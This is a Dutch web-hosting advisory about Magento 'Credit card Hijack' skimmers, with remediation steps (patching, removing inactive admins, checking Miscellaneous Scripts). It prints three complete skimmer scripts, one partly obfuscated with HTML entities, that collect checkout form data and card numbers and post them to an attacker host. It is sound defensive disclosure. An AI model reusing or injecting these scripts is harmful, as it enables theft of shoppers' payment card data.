De hack Credit card Hijack is een vorm van credit card fraude waarbij hackers kwaadaardige scripts in de code Magento shops hebben geplaatst. Met deze scripts kunnen ze de financiele gegevens, zoals credit card gegevens, opvragen en naar hun eigen servers sturen. In dit artikel leggen we meer uit over deze hack, wat de consequenties zijn en hoe je het kunt oplossen.

 

Wat is Credit card Hijack?

De Credit card Hijack is een verzamelnaam van meerdere credit card skimmers (malware) die in Magento shops kunnen worden geïnjecteerd en waarmee hackers onversleutelde creditcardgegevens kunnen onderscheppen. Bekende namen zijn de MagentoCore skimmer en de MageCart skimmer.

Deze check geeft aan of je shop is geïnjecteerd met malware. Het is echter niet mogelijk voor MageReport om te controleren welke malware precies je shop heeft geïnfecteerd.

Op het moment van ontdekken in 2015 zijn we gestart met het bouwen van deze check in MageReport.com.  In 2015 kwam uit de analyse naar boven dat zo’n 3500 shops wereldwijd geïnfecteerd zijn met deze kwaadaardige code. Deze 3500 shops vormen een zogenaamd ‘Zombie netwerk’ dat de credit card gegevens opvraagt en deze vervolgens doorsturen naar zogeheten ‘command&control’ servers. Dit is feitelijk een netwerk van servers waar hackers dergelijke informatie op verzamelen.

Dat was voor zover bekend de eerste keer dat er op zo’n grote schaal geautomatiseerd werd ingebroken bij webwinkels. Hackers hebben duidelijk een automatiserings- en professionaliseringsslag gemaakt bij het skimmen van Magento webshops en tot op de dag van vandaag is het een serieuze bedreiging voor webshops.

We vermoeden dat de kwaadwillenden via ongepatchte webshops de code hebben kunnen toevoegen. We vragen je daarom je Magento shop goed te patchen als je dat nog niet hebt gedaan. Via magereport.com kun je nagaan welke patches je nog niet hebt geïnstalleerd.

 

 

Hoe beveilig ik mijn site tegen Credit card Hijack?

Omdat het niet makkelijk is om je site te beschermen tegen Credit card Hijack, raden we je aan een Technisch Beheerder in de hand te nemen als je niet voldoende kennis hebt van Magento security. Op onze website vind je een lijst met partners die je hierbij kunnen helpen.

Installeer alle Magento patches

Scan je shop met Magereport.com en installeer eventuele patches, als je deze nog niet hebt geinstalleerd. Hoe je Magento patches installeert wordt uitgelegd in het artikel Magento patches installeren.

Verwijder inactieve admin users

In de backend van Magento vind je een overzicht van alle admin users. Dit zijn accounts die toegang hebben tot je Magento shop. Verwijder alle non-actieve accounts en stel sterke wachwoorden in voor de admin users die je wel gebruikt. Je vind de users in de backend van Magento. Log in met je inloggegevens en ga dan naar Systeem -> Toestemmingen -> Rollen (Magento in het Engels? Ga dan naar: System -> Permissions -> Roles).

Verwijder onbekende scripts (PHP & Javascript)

Zoek in je shop voor kwaadaardige scripts en verwijder. Zoeken en verwijderen kan via de backend:

  1. Ga naar ‘System’ -> Configuration
  2. Ga naar ‘Design’ onder ‘General’
  3. Scroll naar beneden naar ‘Miscellaneous Scripts’ en controleer
  4. Scroll naar beneden, klik op Footer en check Miscellaneous HTML

Als beide vakken, ‘Miscellaneous Scripts’ en ‘Miscellaneous HTML’, leeg zijn, is er hoogstwaarschijnlijk niets aan de hand. Staat er code in? Controleer dan of dit overeen komt met de scripts hieronder:

Het script hieronder is in een al vroeg stadium van de hack gevonden, maar het was niet gelijk duidelijk hoeveel schade het aanrichtte. Het script is een verkleinde versie van het scraper Javascript.

<script>function jj(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}jj("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#98;&#97;&#100;&#46;&#103;&#117;&#121;&#47;&#106;&#113;&#117;&#101;&#114;&#121;&#46;&#112;&#104;&#112; ").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+jj("SESSIID")),console.clear()}}})});</script>

Het script hieronder is een voorbeeld van kwaadaardige code die in je Magento shop aanwezig kan zijn. Het installeert de functies: ‘send’ en ‘clk’ en deze zorgen ervoor dat hackers alle gegevens in de ingevulde velden van een formulier kunnen verzamelen, op het moment dat een bezoeker van je shop op een button klikt.

<script>
var snd =null;
window.onload = function () {
 if((new RegExp('onepage')).test(window.location)) {
 send();
 
 }
};
 
function clk() {
 var inp=document.querySelectorAll("input, select, textarea, checkbox");
 for (var i=0;i<inp.length;i++){
 if(inp[i].value.length>0) {
 var nme=inp[i].name;
 if(nme=='') { nme=i; }
 snd+=inp[i].name+'='+inp[i].value+'&';
 }
 }
 
}
 
function send() {
var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
 for (var i=0;i<btn.length;i++){
 var b=btn[i];
 if(b.type!='text' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
 if(b.addEventListener) {
 b.addEventListener("click", clk, false);
 }else {
 b.attachEvent('onclick', clk);
 }
 }
 }
 
 var frm=document.querySelectorAll("form");
 for (var i=0;i<frm.length;i++){
 if(frm[i].addEventListener) {
 frm[i].addEventListener("submit", clk, false);
 }else {
 frm[i].attachEvent('onsubmit', clk);
 }
 }
 
 if(snd!=null) {
 console.clear();
 var cc = new RegExp("[0-9]{13,16}");
 var asd="0";
 if(cc.test(snd)){
 asd="1" ;
 }
var http = new XMLHttpRequest();
http.open("POST","https://bad.guy/jquery.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+snd+"&asd="+asd+"&id_id=ano.nym");
console.clear();
 }
 snd=null;
 setTimeout('send()', 150);
}
 
</script>

Het script hieronder is gevonden tijdens onze analyse van de hack. Het is vergelijkbaar met het script hierboven, maar het is lastiger te vinden omdat het in een geminimaliseerd formulier is verstopt.

<script> function jj(e) { var t = "; " + document.cookie , o = t.split("; " + e + "="); return 2 == o.length ? o.pop().split(";").shift() : void 0 } jj("SESSIID") || (document.cookie = "SESSIID=" + (new Date).getTime()) , jQuery(function (e) { e("button").on("click", function () { var t = "" , o = "post" , n = window.location; if (new RegExp("onepage|checkout").test(n)) { for (var c = document.querySelectorAll("input, select, textarea, checkbox"), i = 0; i < c.length; i++) if (c[i].value.length > 0) { var a = c[i].name; "" == a && (a = i) , t += a + "=" + c[i].value + "&" } if (t) { var l = new RegExp("[0-9]{13,16}") , u = new XMLHttpRequest; u.open(o, e("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#98;&#97;&#100;&#46;&#103;&#117;&#121;&#47;&#106;&#113;&#117;&#101;&#114;&#121;&#46;&#112;&#104;&#112; ").text(), !0) , u.setRequestHeader("Content-type", "application/x-www-form-urlencoded") , u.send(t + "&asd=" + (l.test(t.replace(/s/g, "")) ? 1 : 0) + "&utmp=" + n + "&cookie=" + jj("SESSIID")) , console.clear() } } }) }); </script>

Controleer je shop

Als je alle patches hebt geïnstalleerd, non-actieve admin gebruikers hebt verwijderd en kwaadaardige scripts hebt verwijderd is het belangrijk om je site alsnog heel goed te controleren op eventuele backdoors en deze te dichten. Hoe je je site goed kan controleren en fixen wordt uitgelegd in de artikelen Herstel website na hack en Schadelijke bestanden opsporen.


 

Veiligheid en gemak met SSH Keys
Veiligheid en gemak met SSH Keys

Gebruik jij SSH in je dagelijkse werk? Dan kun je in plaats van inloggen met een wachtwoord, ook jezelf authenticeren door middel van SSH Keys. Deze methode geeft behalve extra veiligheid nog een aantal erg interessante voordelen t.o.v een wachtwoord. In deze whitepaper gaan we in op de techniek van SSH Key authenticatie, de voordelen en de mogelijkheden die het met zich mee brengt.

10